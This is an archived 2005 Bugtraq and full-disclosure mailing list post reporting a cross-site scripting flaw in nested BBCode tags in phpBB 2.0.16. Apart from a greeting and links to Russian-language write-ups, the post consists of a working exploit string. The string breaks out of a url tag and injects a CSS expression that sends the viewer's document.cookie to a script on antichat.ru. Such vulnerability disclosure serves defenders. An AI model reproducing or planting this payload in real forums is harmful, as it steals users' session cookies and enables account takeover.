[39417] in bugtraq
XSS in nested tag in phpbb 2.0.16
daemon@ATHENA.MIT.EDU (alex)
Tue Jul 5 17:41:32 2005
From: "alex" <pigrelax@yandex.ru>
To: <full-disclosure@lists.grok.org.uk>
Cc: <bugtraq@securityfocus.com>
Date: Tue, 5 Jul 2005 21:20:31 +0400
MIME-Version: 1.0
Content-Type: text/plain;
charset="US-ASCII"
Content-Transfer-Encoding: 7bit
Message-Id: <S3375425AbVGERUa/20050705172031Z+83@mail.yandex.ru>
Hi all!
Example:
[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'styl
e='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://antic
hat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/u
rl][/url]'[/color]
More info:
http://www.securitylab.ru/55612.html
and
http://antichat.ru/txt/phpbb/
(In Russian)
